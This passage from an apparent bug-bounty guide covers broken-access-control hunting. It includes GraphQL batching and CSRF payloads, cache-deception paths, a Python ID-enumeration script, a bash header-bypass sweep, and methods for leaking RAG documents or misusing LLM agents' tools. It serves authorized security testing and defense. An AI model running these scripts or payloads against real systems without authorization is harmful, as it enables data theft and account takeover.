GraphQL · array batching (+ race synergy, §2.17)# Many operations, often ONE authz/rate check for the whole batch. # Redeem a single-use coupon repeatedly before the balance settles: [ {"query":"mutation{ redeemCoupon(code:\"WELCOME\"){ balance } }"}, {"query":"mutation{ redeemCoupon(code:\"WELCOME\"){ balance } }"}, {"query":"mutation{ redeemCoupon(code:\"WELCOME\"){ balance } }"} ]
Operation smuggling: directives, persisted queries & CSRF
- Custom
@authdirective gaps. When authorization is a per-field directive, the bug is a single field someone forgot to annotate. Diff sibling fields — one missing@authis one finding. - Persisted-query / APQ allowlist bypass. Apollo's Automatic Persisted Queries send a
sha256Hashinstead of the query; onPersistedQueryNotFound, many servers accept an arbitrary full query you supply alongside the hash — bypassing a query-allowlist WAF entirely. Register your own hash + malicious query and replay it. operationNameconfusion. Send a document with multiple operations and control which executes viaoperationName; auth middleware that inspects only the first operation can be pointed at a benign one while a second runs.- CSRF via GET / form-encoding. If the endpoint runs mutations over
GET, or acceptsapplication/x-www-form-urlencoded(which skips the CORS pre-flight), any cross-site page can fire state-changing operations with the victim's cookies.
GraphQL · CSRF when GET or form-encoding is accepted# If the server runs mutations over GET, any cross-site page can trigger them GET /graphql?query=mutation%7BdeleteAccount%7D HTTP/1.1 # Also test Content-Type: application/x-www-form-urlencoded (no pre-flight)
The GraphQL authz testing workflow
- Fingerprint the engine with
graphw00f— it dictates suggestion, batching, and default-limit behavior. - Recover the schema — introspection if open, else
Clairvoyance+ JS bundles. - Build the mutation hit-list — every write op is a BFLA candidate. Run each as low-priv, then anonymous.
- Hit
node()and every by-ID query as user B against user A's (global) IDs — BOLA. - Request sensitive fields on each type and walk nested edges — BOPLA and relationship traversal.
- Alias and batch every rate-limited or single-use operation (OTP, reset, coupon, invite) — and cross with the race-condition playbook (§2.17).
- Try GET / form-encoded for CSRF and the APQ hash trick for allowlist bypass.
- Diff across sessions. Autorize/Auth Analyzer work on GraphQL too — template the request body so every operation is replayed as another identity.
graphw00f (engine fingerprint) · InQL (Burp: introspect, generate, scan) · Clairvoyance (schema recovery when introspection is off) · graphql-cop (quick authz/DoS/CSRF audit) · BatchQL (batching & CSRF) · CrackQL (alias/batch brute-forcing) · GraphQL Voyager (relationship visualization).
GraphQL doesn't create new bug classes — it re-introduces the classic ones (BOLA/BOPLA/BFLA) at a layer where the usual HTTP-level checks can't see them. A recurring disclosed shape is a sharing/collaborator mutation that leaks emails or accepts an out-of-scope object ID; even security-focused platforms have shipped exactly this. The §1 mindset transfers cleanly: two accounts, trust nothing the client sends, and test each resolver as the boundary it really is.
2.14 WebSocket & SSE Authorization Hard
HTTP is well-tested; WebSockets often aren't. Common WS auth bugs:
- Connection authz only. The handshake checks who you are; every subsequent message is trusted. Send messages on behalf of other rooms/channels.
- Channel subscription bypass. Subscribe to
private-user-{other_id}channels — the server enforces nothing. - Token in query string. WS tokens often appear in URLs (Referer leak, log leak).
- Origin not checked. Cross-origin WebSocket Hijacking (CSWSH) — a malicious page opens a WS to the target carrying victim's cookies.
- Server-Sent Events. Same pattern; subscribe to other users' SSE streams.
2.15 OAuth 2.0 / OIDC / SAML — Federated Auth Bugs Hard
OAuth flows are dense with authorization decisions. The spec is fine; the implementations frequently aren't. Common high-impact bugs:
- Open
redirect_uri. Wildcard or weak matching lets you redirect the auth code to a host you control → ATO via leaked code. - Missing/predictable
state. Enables CSRF on the callback → attacker links their account to victim's social login. - PKCE downgrade. Client supports PKCE but server doesn't enforce it; intercepted code is exchangeable.
- Scope upgrade. Request a token with extra scopes the user didn't consent to; some servers grant them.
- Token leakage via Referer. Implicit flow (deprecated, still around) puts the access token in the URL fragment; if any external script loads, it can read the Referer.
- Code reuse. Authorization codes must be single-use; if they aren't, intercepted codes work twice.
- OIDC
audclaim ignored. ID tokens minted for client A are accepted by client B because theaudclaim isn't validated. - SAML XML signature wrapping (XSW). Inject a second assertion the application reads while the signature validates the original. Still alive in 2026 in legacy enterprise SAML stacks.
- SAML
NameIDconfusion. Email-as-NameID lets you assertvictim@target.comfrom an IdP you control if the SP doesn't pin to an IdP per email domain.
2.16 Cache & CDN Authorization Bypass Hard
CDNs cache aggressively. If an authenticated response gets cached and served to other users, you have unintended cross-user disclosure.
- Web Cache Deception. Request
/account.json/nonexistent.css. Backend returns account JSON; CDN sees.cssand caches it publicly. Next visitor hits the CDN and reads your data. - Cache poisoning via unkeyed header. Unkeyed
X-Forwarded-Hostinfluences response content; cache stores the poisoned version for all subsequent requests. - Vary header misconfiguration. Response varies by user but cache doesn't include the session cookie in the cache key.
- Stale-while-revalidate over auth boundary. Logged-out users get cached logged-in responses.
- Static Path Deception. Map a dynamic, authenticated response onto a URL the cache treats as a static file — e.g.
/profile/settings.jswhere the router serves/profile/settingsbut the CDN keys on the.jssuffix and caches it publicly. - Cache Key Confusion. The cache and origin disagree on which parts of the URL are significant (delimiters, path parameters, encoded characters), so a request the origin treats as personalized is stored under a key an attacker — or the next anonymous visitor — can reproduce.
This is one of the fastest-moving corners of BAC. PortSwigger's 2024 research and the DEF CON 32 (2024) talk that named Static Path Deception and Cache Key Confusion systematized the parser-discrepancy approach well beyond the old .css trick. And it's not theoretical: 2025 saw a documented ChatGPT account-takeover built on cache deception chained with delimiter confusion, plus separate reports chaining web cache deception with Client-Side Path Traversal (§2.11) into full ATO. Test the discrepancy directly — append /nonexistent.css, ;.css, %2e%2ejs, and encoded delimiters to authenticated endpoints, then re-request the crafted URL from a clean/anonymous client and watch whether your data comes back from cache.
2.17 Race Conditions in Authorization Hard
Time-of-check/time-of-use bugs in authorization are a fast-growing class. Modern frameworks make concurrent requests easy; modern apps frequently authorize once and forget.
The exploitable patterns
- Limit-overrun. Single-use coupon redeemed 50 times in parallel. Invite link consumed by 50 users. Voting once enforced per request but bypassable concurrently.
- Authorization before state mutation. "Is this email yours?" check passes, then ownership is changed mid-flight by another request.
- State machine skips. Order goes from
pending → paid → shipped. Send two concurrentcancelandshiprequests; if locking is weak, you ship a cancelled order. - Single-packet attack. Last-byte synchronization (Burp Repeater "Send group in parallel" with single-packet) puts dozens of requests on the wire in the same TCP segment — they hit the server within microseconds.
Burp Repeater's tab group → "Send group in parallel (single connection)" implements James Kettle's single-packet attack. It's the gold standard for race-condition BAC testing.
03Methodology — Hunting at Scale#
Random testing finds random bugs. A repeatable methodology finds the same flaws every time and scales across targets. Here is the workflow professional BAC hunters use.
Phase 1 — Recon & Endpoint Mapping
- Scope check. Read the program scope. List in-scope domains, mobile apps, APIs, subdomains. Note explicit exclusions.
- Subdomain enumeration.
subfinder -d target.com,amass,assetfinder, certificate transparency (crt.sh). Pipe tohttpxfor liveness. - Tech fingerprinting.
wappalyzer,whatweb,nuclei -t technologies/. Identify framework (Rails, Spring, Django, Express, Next.js, etc.) — your attack surface depends on it. - JS bundle extraction.
getJS,linkfinder,jsluice. Extract every URL, every API path, every secret-shaped string. Build a target-specific wordlist. - API docs hunt.
/swagger,/openapi.json,/docs,/redoc,/api-docs,/graphql,/v1/api-docs,/actuator/mappings. - Wayback & archived endpoints.
waybackurls,gau— historical endpoints often still work and often aren't role-gated because they predate the role model. - GitHub recon. Search for the company's name, internal endpoints, leaked tokens.
github-dorks,trufflehog. - Mobile & thick-client capture. Proxy the mobile app through Burp/mitmproxy (bypass SSL pinning with
objection/Fridawhere the program permits). Mobile and desktop clients routinely talk to a broader, older API surface than the web app — and it's frequently less authz-tested. See §5.4.
Phase 2 — The Authorization Matrix
This is the single most useful artifact in BAC hunting. Build a table with roles on the X axis and endpoints on the Y axis. Mark intended access; then test actual access.
| Endpoint | Anon | User A | User B | Admin | Notes |
|---|---|---|---|---|---|
GET /api/users/A | 403 | 200 ✓ | 200 ✗ | 200 ✓ | IDOR — B reads A |
POST /api/admin/users | 403 | 403 ✓ | 403 ✓ | 200 ✓ | OK |
PATCH /api/users/me | 403 | 200 ✓ | 200 ✓ | 200 ✓ | Mass-assign role? Test. |
DELETE /api/teams/X | 403 | 200 ✗ | 403 ✓ | 200 ✓ | A not on team X — destructive |
Build this table even informally — even a spreadsheet. Patterns jump out: endpoints where a single column breaks the pattern are bug candidates.
Phase 3 — The 7-Phase Hunting Workflow
- Provision the lab. Two accounts minimum (A and B), ideally one of every role the app exposes (free, paid, admin, support, guest, viewer, member, owner). Two browsers / two Burp sessions side by side.
- Walk the app as A. Burp on. Trigger every action. Catalog every request. Tag identifiers.
- Build the endpoint inventory. Combine walked traffic, JS extraction, wordlist discovery, OpenAPI. Deduplicate; categorize by resource and action.
- For each endpoint, run the four lenses.
- Anon: send with no session.
- Low-priv: send as a different user (B) targeting A's resources.
- Cross-tenant: send as a user in another org targeting A's org.
- Field-level: include extra fields (
role,tenant_id,is_admin) and see what sticks.
- Method matrix. For each endpoint, try every HTTP method (GET/POST/PUT/PATCH/DELETE/HEAD/OPTIONS) and every override header.
- Bypass layer. If you hit a 401/403, run the bypass playbook: path tricks, header tricks, cache games, race conditions.
- Triage & PoC. For every confirmed finding, write a clean reproducer (curl / Repeater) that demonstrates impact. Then escalate: chain with other bugs, increase blast radius, calculate the financial/data impact.
BAC testing is enumeration-heavy, and enumeration is exactly what an attack looks like. Before you fuzz IDs or sweep endpoints: confirm automated testing is allowed and at what rate, keep strictly to in-scope assets, and cap your ranges — a few hundred IDs proves the bug; you never need to pull the whole table. Use your own second account as the victim, never real users. Excessive automated traffic gets researchers banned and gets real reports closed as out-of-scope. Impact, not volume, is what pays.
04Tooling#
Burp Suite + Essential Extensions
| Extension | What it does | When to run it |
|---|---|---|
| Autorize | Replays every observed request with another session's cookies. Diffs responses to flag suspected authz failures. | Always-on while walking the app. Single best ROI extension for BAC. |
| Auth Analyzer | More advanced than Autorize: supports multiple sessions, automatic token refresh, body-level comparison. | Multi-role apps, OAuth flows, token-refreshing APIs. |
| AuthMatrix | Manually-defined role/endpoint matrix; runs the cross-product systematically. | When you have a fixed role set and want exhaustive coverage. |
| JWT Editor | Decode, modify, re-sign JWTs in-place; supports HS/RS/EC, none, kid, jku attacks. | Any JWT-based target. |
| Param Miner | Discovers unlinked params and headers via inference (timing/content-length/error oracles). | Mass assignment fishing; hidden header trust. |
| InQL | GraphQL endpoint detection, schema introspection, query/mutation generation. | Any GraphQL target. |
| HTTP Request Smuggler | Tests for desync vulnerabilities — BAC's older cousin, often bypass-adjacent. | Whenever there's a reverse proxy in front. |
| Turbo Intruder | High-rate concurrent request engine — required for race-condition exploitation. | Limit-overrun, TOCTOU, state-machine bugs. |
| 403 Bypasser / Bypass-Url-Parser | Automates every path/header/method trick from §2.6, §2.7 & §2.11. | Whenever you see 403/401 and want to verify it's real. |
Burp's modern Montoya extension API has produced a fresh wave of smaller, maintainable authz-testing BApps (JWT scanners, session mutators, parameter-swap helpers) alongside the classics above — browse the BApp Store filtered to "authorization" periodically. And Burp Repeater's native "Send group in parallel (single connection)" (shipped 2023.9+) put James Kettle's single-packet race-condition attack behind one right-click — see §2.17.
Caido is a fast, Rust-based Burp alternative that has matured quickly through 2024–2026, with a growing plugin ecosystem and a project-based workflow many hunters now prefer for long engagements — worth trialling alongside Burp. Whatever proxy you pick, the primitive that actually finds BAC is the same: replay a request under a second identity and diff the response. Autorize, Auth Analyzer, and AuthMatrix all implement it; if your tool doesn't, script it (§4 · Custom Scripts). Tools churn; the technique doesn't.
CLI Toolkit
| Tool | Purpose |
|---|---|
ffuf / feroxbuster | Endpoint discovery, parameter fuzzing, virtual host enumeration. |
httpx | Bulk HTTP probing — title, status, tech detection. |
nuclei | Templated scanner — excellent for the misconfiguration / exposed-panel / known-CVE layer (including the CI/CD CVEs in §6). Know its limit: it's stateless, so it will not find session-dependent IDOR/BOLA. Pair it with a session-diff tool; never treat it as your object-level authz checker. |
jwt_tool | Comprehensive JWT attacks. |
graphw00f / graphql-cop / clairvoyance | GraphQL: engine fingerprinting, automated authz/DoS/complexity checks, and schema reconstruction when introspection is off. Add InQL (Burp), BatchQL, GraphCrawler, and CrackQL for batching and brute-force testing. |
amass / subfinder / assetfinder | Subdomain enumeration. |
jsluice / linkfinder / getJS | Endpoint extraction from JS bundles. |
waybackurls / gau | Historical endpoint discovery. |
kiterunner / kr | API-focused content discovery using Swagger-derived wordlists. Excellent for BAC. |
arjun | HTTP parameter discovery — perfect companion for mass-assignment hunting. |
mitmproxy | Programmatic proxy for mobile/IoT traffic interception. |
Custom Scripts You'll Write
Pre-built tools cover 80%. The remaining 20% is where bounties live, and it requires you to script. A few patterns every hunter should have ready:
python · ID enumeration with response diffingimport requests, hashlib S = requests.Session() S.cookies["session"] = "YOUR_LOW_PRIV_SESSION" baseline = None for i in range(1, 10000): r = S.get(f"https://app.example.com/api/orders/{i}") h = hashlib.md5(r.content).hexdigest() if baseline is None and r.status_code == 403: baseline = h # 403 page hash if r.status_code == 200 and h != baseline: print(f"[HIT] /api/orders/{i} -> {len(r.content)} bytes")
bash · header bypass sweepfor H in "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-For" "X-Real-IP" \ "X-Custom-IP-Authorization" "X-Originating-IP" "X-Remote-IP"; do for V in "127.0.0.1" "localhost" "/admin" "10.0.0.1"; do echo "=== $H: $V ===" curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \ -H "$H: $V" https://target.com/admin done done
05Advanced Techniques#
Once you've drained the obvious surface, these are the techniques that turn dead targets into paid reports.
5.1 Chained BAC — combining low-impact bugs into high-impact ones
One IDOR returning email is medium. One IDOR returning the password reset token is critical. The art is chaining: a benign disclosure plus a benign action plus a missing check becomes ATO.
- Disclosure + Mutation. Read victim's GUID via search autocomplete (low impact alone) → use the GUID in a profile-update IDOR (read-only alone is low) → change their email (chained: full ATO).
- SSRF + IDOR. Internal admin API requires localhost → SSRF on a separate endpoint lets you call it from inside.
- Open redirect + OAuth. Open redirect on the target's domain is low; chained into OAuth
redirect_urivalidation, it's ATO. - Cache deception + IDOR. Account page cacheable via cache deception → IDOR fetches victim's view of their own account into the cache → public URL leaks it.
5.2 Microservice Trust Boundary Attacks
Most modern apps are 20+ microservices behind an API gateway. Authorization decisions split across services and a missing check in one service is the bug.
- Service-to-service header trust. Service A authenticates the user and forwards
X-User-Id: 555to Service B. If you can reach Service B directly (via internal DNS, exposed port, or a misconfigured gateway), you spoofX-User-Id. - Internal endpoints leaked through gateway.
/internal/*or/_admin/*paths sometimes survive the gateway rewrite. - JWT pass-through. Gateway validates JWT and forwards it; downstream service re-uses claims without re-validating signature.
- Service mesh sidecar bypass. If mTLS is misconfigured (mTLS optional, or weak SPIFFE policy), you reach services directly.
5.3 Logic-flaw BAC
These don't fit a tidy category — they're business-logic bugs that happen to be authorization failures. The category is huge and the payouts are enormous because scanners can't find them.
- Stale invitation tokens. Invite link emailed to
victim@x.comis still valid after recipient changes email or leaves the team. - Role-downgrade race. Demote admin → admin is still admin until cache refresh.
- Negative quantities / amounts. Transfer
-100from victim to attacker. - Workflow skip. Order requires owner approval; submit "approved" status directly.
- Soft-delete IDOR. Deleted records still readable via the trash/history endpoint without ownership check.
- API versioning rollback.
/api/v1/usersdeprecated and unmaintained but still alive — and lacks the v2 authz model. - Sandbox/preview/staging in production.
preview.target.comuses the production DB and skips auth.
5.4 Mobile- and Desktop-Client Specific
- Hardcoded admin tokens. Some mobile apps ship with embedded service tokens for diagnostics. Decompile (
apktool,jadx) and search. - SSL pinning bypass + intercept.
Frida,objection— when intercepted, mobile APIs frequently use a more permissive surface than web. - Deep link authorization. Custom URL schemes (
app://reset?token=...) often skip the standard auth pipeline. - Background sync. Offline-first apps often have a sync endpoint that accepts arbitrary local changes — including changes to resources you don't own.
5.5 Cloud-native BAC
- Signed URL replay. S3 / GCS / Azure pre-signed URLs valid longer than necessary; once leaked, anyone can read.
- IAM confused deputy. Service has IAM privileges users don't; coerce it to act on attacker's behalf.
- Bucket policy gaps.
s3:GetObjectpublic on a tenant-segmented bucket. - Cognito/Firebase rules misconfiguration. Read/write rules allow
auth != nullinstead ofauth.uid == resource.uid. - Platform bug vs. customer misconfig — report them differently. A platform isolation defect (like Entra's CVE-2025-55241, §6) is the provider's fault: rare, catastrophic, and reported to the provider. A customer misconfiguration (over-broad IAM binding, a shared BigQuery dataset, a public
s3:GetObjecton a tenant-segmented bucket) is far more common and usually in scope on the customer's own program. Same symptom — cross-tenant exposure — but the remediation owner, and the right disclosure channel, differ.
5.6 The "Forgotten Surface"
Endpoints that get less attention from the security team than the main app:
- Email/template-rendering services (
track.example.com,e.example.com) - File processing services (image resize, PDF gen) — often see the raw URL of the original resource
- Status / dashboard / metrics endpoints (
/metrics,/healthz,/actuator/*) - Internal-only CMS (
cms.example.com,blog-admin.example.com) - Marketing-tag servers (often have auth tokens in plaintext)
- Legacy redirected hostnames (
old.example.com,m.example.com)
5.7 AI- & LLM-Application Authorization Emerging
AI features bolt a new authorization surface onto existing apps, and the access-control checks frequently don't follow the data into the model layer. OWASP's Top 10 for LLM Applications (2025) names several of these directly. The high-value targets:
- RAG document-level access control (LLM02). Retrieval-augmented generation searches a vector store and feeds matches to the model. If document ACLs aren't enforced at retrieval time, a low-privileged user's query surfaces chunks from documents they can't read — a clean confidentiality break that bypasses the app's normal authz entirely. Test by asking for content you shouldn't have and watching what the model cites.
- Excessive agency / tool authorization (LLM06). Agentic systems let the model call tools (DB queries, internal APIs, file access). If a tool runs with the app's privileges rather than the user's, prompt-driven requests become a confused-deputy privilege escalation — ask the agent to do something your own account can't, and see whether the tool does it anyway.
- Embedding & index leakage (LLM08). Vector indexes shared across tenants — or embeddings that encode retrievable source text — can leak other tenants' data through similarity search.
- Conversation & memory boundaries. Chat history, agent memory, and uploaded-file stores keyed only by a guessable conversation ID are IDOR (§2.1) by another name.
These are classic BAC bugs — missing object-level and function-level checks — wearing new clothes, sitting in fast-shipping AI features that often skipped the authz review the core product got. The mindset from §1 transfers directly: two accounts, trust nothing the client sends, and test the boundary the developer assumed was safe.
5.8 CI/CD & Pipeline Authorization Emerging
OWASP's 2025 refresh added A03 Software Supply Chain Failures, and a large slice of it is really access control at the build layer: who can trigger a pipeline, whose identity a job runs as, and what a job is allowed to read. CI/CD systems are high-value targets because a pipeline usually holds cloud credentials, signing keys, and deploy access — so a build-layer authz bug is a short path to production.
- Trigger-as-another-user. Pipeline triggers that don't bind to the caller's identity/role let a low-privileged user run jobs — and use job-scoped secrets — as someone else. GitLab CVE-2024-6385 (§6, Critical) is the textbook case.
- Missing permission checks on plugin/endpoint surfaces. CI platforms are plugin-heavy, and a single plugin that forgets an authz check exposes cross-project data or unintended builds — e.g. Jenkins CVE-2024-23901, where a plugin unconditionally discovered projects shared with the owner group and let an attacker get a crafted pipeline built.
- Unpinned / mutable action references. Referencing a third-party CI action by a floating tag rather than a pinned commit SHA means whoever controls that tag controls your pipeline — the root cause of the tj-actions/changed-files compromise (CVE-2025-30066, §6). Grep workflows for
uses:on mutable tags and over-broadpermissions: write-all. - Runner / registration-token exposure. Registration tokens and job artifacts that leak across project or scope boundaries let an attacker attach a runner or read another team's build output (cf. GitLab CVE-2022-0735, §6).
06Disclosed Cases & Recurring Patterns#
Studying real BAC is the fastest way to internalize what it looks like in the wild. Each card below is labelled: Documented cards link to a public source you can read in full, with figures only where that source confirms them; Pattern cards describe a recurring, high-value shape of bug without pinning it to a specific unverified report or payout. Treat any dollar figure as indicative of the band these bugs command — not a guarantee. Documented cases lead with the most recent (2024–2026) and run back to the classics.
Microsoft Entra ID · global cross-tenant impersonation Documented
The defining cross-tenant case of the era. Researcher Dirk-jan Mollema found that a legacy Azure AD Graph API accepted unsigned internal "Actor tokens" and never validated that the token's tenant matched the target — allowing impersonation of any user, up to and including Global Administrators, in any Entra ID tenant worldwide. CVE-2025-55241, CVSS 9.8 (CWE-287). Reported Jul 2025 and fixed globally within days; Microsoft reported no in-the-wild abuse. Researcher writeup →
GitLab · trigger a pipeline as another user Documented
CVE-2024-6385 (CVSS 9.8, CWE-284 Improper Access Control). Under certain conditions an attacker could cause a CI/CD pipeline to run as another user — inheriting that user's permissions and job-scoped secrets. A clean build-layer BFLA/impersonation flaw in a supply-chain-critical product; fixed in 16.11.6 / 17.0.4 / 17.1.2. NVD · CVE-2024-6385 →
tj-actions/changed-files · CI supply-chain compromise Documented
CVE-2025-30066. A widely-used GitHub Action's version tags were repointed to malicious code (Mar 2025), exfiltrating CI secrets from any workflow that referenced it by a mutable tag rather than a pinned SHA. Strictly this is embedded-malicious-code (CWE-506), not classic BAC — but it's the canonical illustration of the CI/CD trust-boundary failure now scoped under OWASP A03 (§5.8), and CISA added it to the KEV catalog. NVD · CVE-2025-30066 →
Facebook · Business Manager page takeover Documented
The canonical BAC case study. An IDOR in Business Manager's /business_share/asset_to_agency/ endpoint let a researcher swap parent_business_id, agency_id and asset_id and assign themselves role=MANAGER on any page. Disclosed by Arun Sureshkumar (2016); $16,000. Threatpost →
GitLab · Runner registration-token disclosure Documented
CVE-2022-0735. An unauthorized user could steal CI/CD runner registration tokens via an information-disclosure flaw triggered through quick-action commands — missing authorization with serious blast radius (registered runners execute pipeline jobs). Fixed in 14.6.5 / 14.7.4 / 14.8.2. NVD · CVE-2022-0735 →
HackerOne · The famous $20k, fine print Documented
Often mis-told as an authorization bug. In reality (Nov 2019) a HackerOne analyst pasted a live session cookie into a report reply via a copied curl command; researcher haxta4ok00 reused it to read private reports — $20,000. A real lesson, but a session-handling failure, not a BAC export bug. Graham Cluley →
Async export / report workers losing context Pattern
A high-yield class worth its own test: background jobs (PDF / report / export generation) that authorize the request but run as a privileged worker which fetches data by ID without re-checking ownership. Enumerate job IDs, trigger generation, read other users' output. Lost tenant/session context at the worker boundary is a recurring real bug.
Partner / SSO email-confirmation bypass → ATO Pattern
Marketplaces and partner portals (Shopify among them) have repeatedly paid five-figure bounties when an email-confirmation or identity-merge step is bypassable, letting an attacker bind their session to a victim store/partner and pivot to full takeover via password reset. Test every "add / confirm email" and partner-invite flow for missing ownership checks.
Client-supplied role trusted by the API Pattern
An endpoint accepts role, is_admin or a tier field from the client and trusts it server-side, returning higher-privileged responses (often including other users' PII). The mass-assignment sibling of vertical priv-esc (§2.8). Replay every role-bearing write with elevated field values.
Cross-tenant export via unauthorized job ID Pattern
The SaaS goldmine (§2.10). Export / download endpoints that authorize only on the existence of a globally-unique job ID — not on tenant ownership — let one workspace download another's export. Async export pipelines are especially prone to dropping tenant context. Consistently a five-figure class in B2B SaaS.
Pre-account-takeover via unverified email merge Pattern
Attach an unverified email/identifier to an account before the real user exists; when they later sign up (often via SSO), the identities merge and the attacker retains access. A well-known "pre-account-takeover" class affecting identity-merge logic across many platforms.
Over-broad role check across scopes Pattern
An authorization check confirms you hold a role somewhere ("is a moderator of any subreddit") instead of here ("moderates this one"), exposing other scopes' data — mod logs, modmail, internal notes. ReBAC and "team member" models are especially prone. Always test the resource-specific boundary, not just role membership.
Full-detail disclosures: HackerOne Hacktivity (filter to IDOR / privilege escalation), Bugcrowd Crowdstream, and Pentester Land's "List of bug bounty writeups". Methodology & labs: PortSwigger Web Security Academy and OWASP's API Security Top 10 (2023) — essentially "BAC: the API edition" (BOLA, BFLA, BOPLA). Channels: InsiderPhD, NahamSec, 0xPatrik.
07Reporting Playbook#
A well-written report is the difference between a $500 medium and a $5,000 high. Triagers process dozens of reports a day; if yours is unclear, ambiguous, or unprovable, you lose. The template below is what gets paid.
The report skeleton
- One-sentence summary. "Authenticated users can read arbitrary other users' invoices via
GET /api/v2/invoices/{id}due to missing ownership check." - Severity & CVSS. Compute CVSS v3.1 (and v4.0 if the program uses it). Show the vector string. Be honest — inflated scores get downgraded and burn trust.
- Vulnerability class. Reference the specific CWE — CWE-639 (IDOR), CWE-862 (missing authz), CWE-863 (incorrect authz), CWE-285 (improper authz), CWE-915 (mass assignment) — plus OWASP A01:2025 (MITRE category
CWE-1436). For API targets, map to BOLA / BFLA / BOPLA from the API Security Top 10 (2023); triagers score these faster when the mapping is explicit. - Steps to reproduce. Numbered, minimal, with both test-account identifiers visible. Use
curlcommands the triager can paste. - Proof. Screenshots of two-account demonstration (victim's data in attacker's session). Redact only what you must.
- Impact. What can the attacker actually do? Quantify: how many users affected, what data is exposed, what financial impact, what regulatory implications (GDPR, HIPAA, SOX).
- Remediation suggestion. One or two sentences. Shows good faith and helps the engineer fix it.
- References. CWE link, OWASP cheat sheet, related disclosed reports.
CVSS scoring guidance for BAC
Most programs still expect CVSS v3.1, but v4.0 (published by FIRST in November 2023) is increasingly requested — quote whichever the program uses. Adoption is real but partial: NVD and the CVE program support v4.0 in their tooling, yet v3.1 still dominates by volume and only a minority of published CVEs carry a v4.0 vector. Note too that since April 2026 NIST fully enriches only a fraction of new CVEs and defers to the submitting CNA's own score — so expect more vendor-supplied vectors and fewer NVD-assigned ones. The biggest modeling change for BAC: v4.0 retires the Scope metric and instead splits impact between the Vulnerable System (VC/VI/VA) and any Subsequent System (SC/SI/SA). So a v3.1 "scope change" (the classic cross-tenant case) is now expressed as elevated SC/SI/SA. v4.0 also adds Attack Requirements (AT) and splits User Interaction into none / passive / active.
| Scenario | CVSS v3.1 | CVSS v4.0 (Base) | Severity |
|---|---|---|---|
| Unauthenticated read of arbitrary user PII | 7.5 (AV:N/AC:L/PR:N/UI:N/C:H) | 8.7 High | High |
| Authenticated cross-user read of PII (IDOR) | 6.5 (AV:N/AC:L/PR:L/UI:N/C:H) | 7.1 High | Medium-High |
| Cross-user mutation (modify another user's profile/order) | 8.1 (... I:H) | 7.1 High | High |
| Cross-user destructive (delete) | 8.1+ (... A:H) | 7.2 High | High |
| Vertical priv-esc to admin | 8.8+ (... C:H/I:H/A:H) | 9.4 Critical | Critical |
| Cross-tenant read in B2B SaaS | 9.0+ (S:C scope-change) | 8.3 High † | Critical |
| Full account takeover via BAC chain | 9.0–9.8 | 9.3 Critical | Critical |
Paste-ready CVSS v4.0 base vectors
CVSS:4.0 · verify in the FIRST calculator# Unauthenticated read of arbitrary PII — 8.7 High CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N # Authenticated cross-user read / IDOR — 7.1 High CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N # Cross-user mutation (modify another user's record) — 7.1 High CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N # Cross-user destructive delete — 7.2 High CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N # Vertical privilege escalation to admin — 9.4 Critical CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H # Cross-tenant read in B2B SaaS (authenticated) — 8.3 High CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N # Full account takeover via BAC chain — 9.3 Critical CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
† Cross-tenant: scored as an authenticated tenant user (PR:L) breaching another tenant, modeled as Subsequent-System confidentiality SC:H (the v4.0 stand-in for v3.1's S:C). If the read is unauthenticated (PR:N) the same shape reaches 9.2 Critical, and breadth across every customer usually raises the Threat/Environmental score further.
Scores above were computed with the official FIRST v4.0 algorithm. Always re-confirm in the FIRST CVSS v4.0 calculator before submitting — a single step in VC or SC can move a finding across a severity band.
Common triage failure modes (and how to avoid them)
- "This is intended behavior." The triager couldn't reproduce, OR they think the resource is meant to be public. Pre-empt by including ToS/UI screenshots showing it isn't.
- "Need authenticated session." Authenticated BAC is still BAC. Document the realistic attacker model: signing up is free.
- "Self-XSS / self-IDOR." Make sure your PoC clearly involves two accounts and proves the boundary crossing.
- "Duplicate." Be the first. Even when not, ask whether your variant exploits a different code path — sometimes the original was fixed but yours wasn't.
- "Out of scope." Read scope carefully; if BAC affects an in-scope asset via an out-of-scope one, the impact is still in scope.
Use your own second account as the victim. Never test against real users without authorization. If the bug requires the victim to take an action, build it into a benign demo (your own browser, your own click).
08Defense — Context for Reports#
You're not a defender, but understanding the fix makes your reports better and your conversations with security teams more credible.
- Deny by default. Every endpoint should require an explicit allow.
- Centralize policy. Use a single policy engine (OPA, Cedar, Casbin, Auth0 FGA, SpiceDB) rather than scattering
ifchecks across the codebase. - Authorize on the resource, not just the role. "Is the caller an admin?" is incomplete — should be "is the caller authorized for this specific resource?"
- Field-level allowlists for writes. Never bind a request body directly to a model.
- Tenant context as a first-class principle. Every query in a multi-tenant app should filter by tenant at the lowest layer (row-level security in DB).
- Re-validate at every trust boundary. Microservices, queues, workers, webhooks — each is a boundary.
- Test authz with the same rigor as the rest of the stack. Contract tests per endpoint per role.
- Log + alert on authz failures. A spike in 403s is a fingerprint of someone testing.
- Carry authz into the AI layer. Enforce document ACLs at RAG retrieval time, and run agent tools with the user's privileges, not the application's — the checks must follow the data into the model (§5.7).
- Treat the pipeline as production. Pin CI actions to commit SHAs, scope job tokens to least privilege, bind pipeline triggers to caller identity, and isolate runners per project (§5.8).
09The Cheat Sheet#
Top 30 endpoints to always test
High-yield paths/admin /api/admin /api/v1/admin /api/users /api/users/me /api/users/{id} /api/orders /api/orders/{id} /api/invoices/{id} /api/exports/{id} /api/downloads/{id} /api/files/{id} /api/teams/{id} /api/orgs/{id} /api/workspaces/{id} /api/projects/{id} /api/messages/{cid} /api/notifications /api/billing /api/payment-methods /api/coupons/apply /api/feature-flags /api/impersonate /api/audit-log /api/internal/* /api/_private/* /api/v0/* /api/v1/* (legacy) /graphql /swagger /openapi.json /actuator/* /api/ai/* /api/rag/* /api/agents/* /api/chat/{id} /api/webhooks/* /.well-known/* /api/v3/api-docs /api/graphql/console
